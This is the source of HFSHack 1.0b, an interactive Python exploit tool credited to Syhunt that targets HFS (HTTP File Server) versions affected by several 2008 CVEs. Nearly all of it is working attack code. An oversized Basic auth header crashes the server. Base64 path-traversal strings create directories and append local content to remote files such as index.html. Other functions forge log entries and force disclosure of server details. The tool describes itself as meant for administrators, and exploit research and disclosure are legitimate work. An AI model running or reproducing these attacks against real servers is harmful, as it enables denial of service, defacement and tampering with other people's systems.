hfshack.txt

`#!/usr/bin/python  
  
"""  
----------------------------------------------------------------  
HFSHack 1.0b (By Felipe M. Aragon And Alec Storm )  
----------------------------------------------------------------  
* CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS  
* CVE-2008-0410 - Information Disclosure Vulnerability  
Affected Versions: HFS 2.0 to and including 2.3(Beta Build 174)  
http://www.syhunt.com/advisories/hfs-1-template.txt  
  
* CVE-2008-0405 - Arbitrary File/Folder Creation Vulnerability  
* CVE-2008-0406 - Denial of Service (DoS) Vulnerability  
Affected Versions: HFS 2.2 to and including 2.3(Beta Build 174)  
http://www.syhunt.com/advisories/hfs-1-log.txt  
  
* CVE-2008-0407 - Username Spoofing Vulnerability  
* CVE-2008-0408 - Log Forging / Injection Vulnerability  
Affected Versions: HFS 1.5g to and including 2.3(Beta Build  
174); and possibly HFS version 1.5f  
http://www.syhunt.com/advisories/hfs-1-username.txt  
  
Vulnerabilities found by Syhunt (http://www.syhunt.com)  
Sandcat can also identify these issues:  
http://www.syhunt.com/sandcat  
"""  
  
import urllib2, sys, re, commands, StringIO, string, base64  
  
host = '127.0.0.1' # Default Host  
  
help = ('\n'  
'open [hostname]\n'  
' This should be called first (unless you want the default host)\n\n'  
'checkdos\n'  
' Performs the Log DoS Attack (Makes the server crash)\n\n'  
'checkxss\n'  
' Checks for the presence of the Template XSS Vulnerability\n\n'  
'manipf [localfilename] [remotefilename]\n'  
' Appends content of a local file to a remote file. Examples:\n'  
' manipf inject.html index.html or ..\\..\index.html\n'  
' Note: If the file does not exists, it will be created.\n\n'  
'maniplog [localfilename]\n'  
' Injects content of a local file to the HFS log panel and file\n\n'  
'mkd [dirname]\n'  
' Creates directories. Examples:\n'  
' mkd Test or ..\\..\\Windows\\Test\n\n'  
'symbols\n'  
' Forces HFS to reveal details about the server\n\n'  
'ver\n'  
' Forces HFS to show its version and build, and displays which\n\n'  
' HFSHack commands are available for it\n'  
'quit\n'  
' Exits this application'  
'\r\n')  
  
readme = (  
'(c) 2008 Syhunt Security. All rights reserved.\n\n'  
'This tool is provided ''as-is'', without any expressed or implied\n'  
'warranty. In no event will the author be held liable for any\n'  
'damages arising from the use of this tool.\n\n'  
'Permission is granted to anyone to use this tool, and to alter\n'  
'it and redistribute it freely, subject to the following\n'  
'restrictions:\n\n'  
'1. The origin of this tool must not be misrepresented, you must\n'  
' not claim that you wrote the original tool.\n\n'  
'2. Altered source versions must be plainly marked as such, and\n'  
' must not be misrepresented as being the original plugin.\n\n'  
'3. This notice may not be removed or altered from any source\n'  
' distribution.\n\n'  
'If you have any questions concerning this license, please email\n'  
'contact _at_ syhunt _dot_ com\n'  
)  
  
about = (  
'----------------------------------------------------------------\n'  
' Syhunt HFSHack 1.0b\n'  
'----------------------------------------------------------------\n\n'  
'This exploit tool should be used only by system administrators\n'  
'(or other people in charge).\n\n'  
'Type "readme" and read the text before continuing\n\n'  
'If you have already read it, type "help" to view a list of\n'  
'commands.'  
)  
  
# Extra Details to Obtain  
symbol_list = (  
'connections;Current number of connections to HFS',  
'timestamp;Date and time of the server',  
'uptime;Uptime',  
'speed-out;Current outbound speed',  
'speed-in;Current inbound speed',  
'total-out;Total amount of bytes sent',  
'total-downloads;Total amount of bytes sent',  
'total-hits;Total Hits',  
'total-uploads;Total Uploads',  
'number-addresses;Current number of connected clients (IPs)',  
'number-addresses-ever;Number of unique IPs ever connected',  
'number-addresses-downloading;Current number of downloading clients (IPs)',  
)  
  
# Affected Versions  
re_200801161 = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)'  
re_200801162 = '^HFS(.*?)(2.2$|2.2[a-b]|2.3 beta)'  
re_200801163 = '^HFS(.*?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)'  
re_cangetver = '^HFS(.*?)(2.[0-1]|2.2$|2.2[a-b])'  
  
# Common Messages  
msg_par_mis = 'Parameter(s) missing.'  
msg_done = 'Done.\n'  
msg_acc_file = 'Error reading local file (file not found):'  
msg_help = 'Type "help" to view a list of commands.'  
msg_err_con = 'Error Connecting:'  
msg_fail = 'Failed.'  
msg_req_ok = 'Request accepted.'  
  
uagent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)';  
path = '/' # Default Path  
  
def dorequest(hpath,auth_data,s_msg,f_msg):  
globals()["rcvd"] = ''  
globals()["banner"] = ''  
url = 'http://'+host+hpath  
try:  
opener = urllib2.build_opener(url)  
opener.addheaders = [('User-agent', uagent)]  
if auth_data != '':  
opener.addheaders = [('Authorization', 'Basic '+auth_data)]  
globals()["rcvd"] = opener.open(url).readlines()  
if 'server' in opener.open(url).headers:  
globals()["banner"] = opener.open(url).headers['server']  
except Exception, msg:  
if f_msg != '':  
print f_msg,msg  
return False  
else:  
if s_msg != '':  
print s_msg  
return True  
  
def genbase64str(string):  
base64str = base64.encodestring(string);  
base64str = base64str.replace("\n","")  
return base64str  
  
def readlocalfile(filename):  
file = open(filename, "r")  
text = file.readlines()  
file.close()  
print text  
filecontentstr = ''  
for l in text:  
filecontentstr = filecontentstr+l  
return filecontentstr  
  
def ishostavailable():  
return dorequest(path,'','',msg_err_con)  
  
def getservinfo(symbol,desc):  
base64str = base64.encodestring('<id>%'+symbol+'%</id>');  
if dorequest(path,base64str,'',msg_err_con):  
for l in rcvd:  
hfsver = re.findall('<id>(.*?)</id>', l)  
for r in hfsver:  
if r != []:  
hfsverdec = urllib2.unquote(hfsver[0])  
if desc != '':  
print desc+': '+hfsverdec  
return hfsverdec  
else:  
return ''  
  
def getallservinf():  
for l in symbol_list:  
curl = l.split(';')  
getservinfo(curl[0],curl[1])  
  
def hfsmkdir(dirname):  
base64str = genbase64str('\\..\\'+dirname+'\\')+'AA';  
dorequest(path,base64str,msg_req_ok,msg_fail)  
  
def shutdownhfs():  
dosstr = genbase64str('a' * 270 + ':')  
if dorequest(path,dosstr,msg_fail,'DoS executed.'):  
dorequest(path,'','Host is still up.','Host is now down.')  
  
def hfsappendtofile(filename,string):  
base64str = genbase64str('\\..\\'+filename)+'AA';  
dorequest('/?%0a'+string,base64str,msg_req_ok,msg_fail)  
  
def hfsinjecttolog(string):  
base64str = genbase64str(string);  
dorequest('/',base64str,msg_req_ok,msg_fail)  
  
def procparams(cmd):  
try:  
if len(cmd) > 0:  
if cmd[1] != []:  
globals()["host"] = cmd[1]  
except:  
print "No target info provided. Using localhost"  
  
def checkxss():  
if ishostavailable():  
curver = getservinfo('version','')  
if curver != '':  
return 'XSS Found'  
else:  
return 'Not Vulnerable'  
else:  
return msg_fail  
  
def isbanner(regex):  
p = re.compile(regex)  
m = p.match(banner)  
return m  
  
def showacceptedcmds():  
cmds = 'None (This server is not vulnerable)';  
if isbanner(re_200801161):  
cmds = 'checkxss symbols ver'  
if isbanner(re_200801162):  
cmds = cmds+' manipf mkd checkdos'  
if isbanner(re_200801163):  
cmds = cmds+' maniplog'  
print '\nAvailable commands for this server:'  
print ' '+cmds+'\n'  
  
def showver():  
cangetver = True  
if banner != '':  
server_name = banner.split()  
print banner  
if server_name[0] != 'HFS':  
print 'Not running HFS!'  
cangetver = False  
else:  
if isbanner(re_cangetver):  
print 'Confirming version...'  
else:  
cangetver = False  
else:  
print 'No version information found.'  
print 'The "Send HFS identifier" option is probably disabled.'  
print 'Trying to force HFS to display its version...'  
if cangetver == True:  
idver = getservinfo('version','HFS version number')  
idbuild = getservinfo('build','HFS build number')  
globals()["banner"] = 'HFS '+idver+' '+idbuild  
showacceptedcmds()  
  
def result(s):  
cmd = s.split()  
if len(cmd) > 0:  
curcmd = cmd[0]  
result = 'Invalid command. Type "help" for list of commands.'  
if curcmd == 'open':  
procparams(cmd)  
if ishostavailable():  
showver()  
result = 'Connected.\n'  
else:  
result = msg_fail  
elif curcmd == 'symbols':  
if ishostavailable():  
showver()  
print 'Forcing HFS to reveal more details...'  
getallservinf()  
result = msg_done  
elif curcmd == 'ver':  
if ishostavailable():  
showver()  
result = msg_done  
elif curcmd == 'mkd':  
if len(cmd) > 1:  
if cmd[1] != []:  
hfsmkdir(cmd[1])  
result = msg_done  
else:  
result = msg_par_mis  
elif curcmd == 'manipf':  
if len(cmd) > 2:  
try:  
localfilecontent = readlocalfile(cmd[1])  
except Exception, msg:  
result = msg_acc_file,msg  
else:  
localfilecontent = localfilecontent.replace("\n","%0a")  
hfsappendtofile(cmd[2],localfilecontent)  
result = msg_done  
else:  
result = msg_par_mis  
elif curcmd == 'maniplog':  
if len(cmd) > 1:  
try:  
localfilecontent = readlocalfile(cmd[1])  
except Exception, msg:  
result = msg_acc_file,msg  
else:  
hfsinjecttolog(localfilecontent)  
result = msg_done  
else:  
result = msg_par_mis  
elif curcmd == 'checkdos':  
shutdownhfs()  
result = msg_done  
elif curcmd == 'checkxss':  
result = checkxss()  
elif curcmd == 'help':  
result = help  
elif curcmd == 'readme':  
result = readme  
elif curcmd == 'quit':  
result = 'Bye!'  
return result  
else:  
return msg_help  
  
print about  
  
s = ""  
while s != "quit":  
try: s = raw_input(">")  
except EOFError:  
s = "quit"  
print s  
print result(s)`